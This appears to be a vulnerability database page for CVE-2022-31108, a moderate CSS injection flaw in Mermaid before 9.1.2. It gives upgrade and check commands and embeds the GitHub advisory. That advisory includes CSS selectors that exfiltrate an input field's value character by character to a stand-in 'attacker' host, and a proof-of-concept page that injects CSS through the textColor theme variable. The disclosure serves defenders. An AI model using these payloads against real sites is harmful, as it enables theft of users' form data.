CVE-2022-31108: Mermaid Possible Inject Arbitrary `CSS` Into Vulnerability
MODERATECVE-2022-31108 is a MODERATE (CVSS 4.1) possible inject arbitrary `css` into vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Mermaid libraries in the npm ecosystem. The issue involves possible inject arbitrary `css` into the generated graph affecting the container html. Remediation is available by upgrading affected packages to version 9.1.2.
CVE-2022-31108 at a Glance
Security Impact
CVSS: 4.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N).
How to Fix CVE-2022-31108
To remediate this vulnerability, upgrade all affected Mermaid dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install mermaid@9.1.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls mermaid
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2022-31108, inspect your project dependencies using npm:
npm ls mermaid
Analyze the terminal output to locate any version of Mermaid in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.1.2), your application is affected.
Note: The npm ls mermaid command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Mermaid, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2022-31108 Affected Mermaid Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
mermaid
|
npm |
≥ 8.0.0
< 9.1.2
|
9.1.2
|
References
Frequently Asked Questions
What is CVE-2022-31108?
Which Mermaid versions are affected?
What version fixes CVE-2022-31108?
Is mermaid affected?
What is the CVSS score of CVE-2022-31108?
What CWE is associated with CVE-2022-31108?
How can I check npm dependencies for CVE-2022-31108?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-x3vm-38hw-55wf",
"modified" : "2022-07-05T18:29:31Z",
"published" : "2022-07-05T18:29:31Z",
"aliases" : [ "CVE-2022-31108" ],
"summary" : "Possible inject arbitrary `CSS` into the generated graph affecting the container HTML",
"details" : "An attacker is able to inject arbitrary `CSS` into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted `CSS` selectors.\n\nThe following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the `value` attribute one character at a time. Whenever there is an actual match, an `http` request will be made by the browser in order to \"load\" a background image that will let an attacker know what's the value of the character.\n\n```css\ninput[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }\n...\ninput[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }\n...\ninput[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }\n...\ninput[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }\n...\ninput[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }\n```\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n## Product\n\nmermaid.js\n\n## Tested Version\n\n[v9.1.1](https://github.com/mermaid-js/mermaid/releases/tag/9.1.1)\n\n## Details\n\n### Issue 1: Multiple CSS Injection (`GHSL-2022-036`)\n\nBy supplying a carefully crafted `textColor` theme variable, an attacker can inject arbitrary `CSS` rules into the document. In the following snippet we can see that `getStyles` does not sanitize any of the theme variables leaving the door open for `CSS` injection.\n\n_Snippet from [src/styles.js](https://github.com/mermaid-js/mermaid/blob/9eae97ddab1b6eca58d2fd4af62357d2f4d8d1f7/src/styles.js#L35):_\n\n```js\nconst getStyles = (type, userStyles, options) => {\n return ` {\n font-family: ${options.fontFamily};\n font-size: ${options.fontSize};\n fill: ${options.textColor}\n }\n```\n\nFor example, if we set `textColor` to `\"green;} #target { background-color: crimson }\"` the resulting `CSS` will contain a new selector `#target` that will apply a `crimson` background color to an arbitrary element.\n\n```html\n<html>\n\n<body>\n <div id=\"target\">\n <h1>This element does not belong to the SVG but we can style it</h1>\n </div>\n <svg id=\"diagram\">\n </svg>\n\n <script src=\"https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js\"></script>\n <script>\n mermaid.initialize({ startOnLoad: false });\n\n const graph =\n `\n %%{ init: { \"themeVariables\" : { \"textColor\": \"green;} #target { background-color: crimson }\" } } }%%\n graph TD\n A[Goose]\n `\n\n const diagram = document.getElementById(\"diagram\")\n const svg = mermaid.render('diagram-svg', graph)\n diagram.innerHTML = svg\n </script>\n</body>\n\n</html>\n```\n\nIn the proof of concept above we used the `textColor` variable to inject `CSS`, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:\n\n- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/mermaidAPI.js#L393\n- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/styles.js#L35\n\n#### Impact\n\nThis issue may lead to `Information Disclosure` via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.\n\n#### Remediation\n\nEnsure that user input is adequately escaped before embedding it in CSS blocks.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "mermaid"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "8.0.0"
}, {
"fixed" : "9.1.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/mermaid-js/mermaid/security/advisories/GHSA-x3vm-38hw-55wf"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2022-31108"
}, {
"type" : "WEB",
"url" : "https://github.com/mermaid-js/mermaid/commit/0ae1bdb61adff1cd485caff8c62ec6b8ac57b225"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/mermaid-js/mermaid"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-74", "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2022-07-05T18:29:31Z",
"nvd_published_at" : "2022-06-28T19:15:00Z"
}
}